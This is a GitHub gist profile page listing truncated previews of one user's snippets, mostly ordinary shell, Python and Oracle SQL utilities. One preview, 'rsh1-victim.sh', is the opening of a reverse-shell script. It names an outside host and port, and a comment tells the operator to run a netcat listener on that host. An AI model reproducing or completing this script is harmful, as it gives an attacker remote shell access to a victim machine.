Skip to content

Instantly share code, notes, and snippets.

View teopost's full-sized avatar

Stefano Teodorani teopost

30 followers · 31 following
View GitHub Profile
@teopost
teopost / make-bootable-usb.txt
Last active December 26, 2018 16:33
diskutil list | grep -v disk0 | tail +2
diskutil unmountDisk /dev/disk2
sudo dd if=/dev/zero of=/dev/rdisk2 bs=1024 count=1
sudo dd if=./debian-9.6.0-amd64-netinst.iso of=/dev/rdisk2 bs=4m
@teopost
teopost / SystemOut-time-check.sh
Created December 13, 2018 09:57
while read line; do
row=$(echo $line | grep CST | wc -l)
if [ $row -eq 1 ];then
code=$(echo $line | cut -d"]" -f 1 | cut -d"[" -f 2)
code=${code%\:???*CST*}
codesec=$(date -d "$code" +%s)
secdiff=$((( $codesec - ${precsec:=0})))
if [ $secdiff -gt 20 ];then
@teopost
teopost / esp8266-simple-blink.c
Created November 30, 2018 16:29
@teopost
teopost / lumix-emulator.py
Created November 16, 2018 14:53
Lumix cam api emulator (for esp8266 development purpose)
#!/usr/local/bin/python
# -*- coding: utf-8 -*-
# http://www.wedoit.io:8080/cam.cgi?mode=camcmd&value=recmode
# http://www.wedoit.io:8080/cam.cgi?mode=camcmd&value=capture
# http://www.wedoit.io:8080/cam.cgi?mode=camcmd&value=capture_cancel
# http://www.wedoit.io:8080/cam.cgi?mode=getinfo&type=curmenu
# http://www.wedoit.io:8080/cam.cgi?mode=getinfo&type=allmenu
from bottle import route, run, request, response, template, static_file
@teopost
teopost / meta_bash.py
Last active April 15, 2018 16:30
import glob
import ConfigParser, io
import StringIO
import re
BEGIN_TAG="BEGIN METADATA"
END_TAG="END METADATA"
#script_list=glob.glob("*.sh")
script_list=glob.glob("Daily_catalogue_extraction.sh")
@teopost
teopost / get_issue_from_jira.py
Created January 18, 2018 10:43
get_issue_from_jira.py
#!/usr/bin/python
# -*- coding: utf-8 -*-
import csv
from jira import JIRA
options = {'server': 'https://acme.atlassian.net'}
jira = JIRA(options, basic_auth=('<<username>>', '<<password>>'))
size = 1000
initial = 0
@teopost
teopost / mount_sshfs.md
Last active November 27, 2017 14:08
Mount a remote linux filesystem via SSH on Mac

Only the first time

  1. brew install sshfs *. mkdir mount

Mount filesystem

  1. mkdir -pv ~/mount/ci.tecla.it
  2. sshfs waswc@ci.tecla.it:/ ~/mount/ci.tecla.it
  3. ls ./mount/ci.tecla.it/
@teopost
teopost / rsh1-victim.sh
Last active November 10, 2017 23:04
#!/bin/bash
# Exec "nc -l -p 8080 -vvv" on server
host=cac.noip.me
port=8080
while [ 1 ]
do
@teopost
teopost / sessioni_che_bloccano_altre_sessioni.sql
Created September 26, 2017 15:40
oracle - Sessioni che bloccano altre sessioni
-- vai qui: https://www.oraclerecipes.com/monitoring/find-blocking-sessions/
COLUMN username FORMAT a10 HEADING 'Holding|User'
COLUMN session_id HEADING 'SID'
COLUMN mode_held FORMAT a20 HEADING 'Mode|Held'
COLUMN mode_requested FORMAT a20 HEADING 'Mode|Requested'
COLUMN lock_id1 FORMAT a20 HEADING 'Lock|ID1'
COLUMN lock_id2 FORMAT a20 HEADING 'Lock|ID2'
COLUMN type HEADING 'Lock|Type'
@teopost
teopost / slow_query.sql
Last active August 3, 2017 08:56
List Oracle slow query
/* https://stackoverflow.com/questions/148648/oracle-is-there-a-tool-to-trace-queries-like-profiler-for-sql-server */
SELECT
S.LAST_ACTIVE_TIME,
S.MODULE,
S.SQL_FULLTEXT,
S.SQL_PROFILE,
S.EXECUTIONS,
S.LAST_LOAD_TIME,
S.PARSING_USER_ID,
S.SERVICE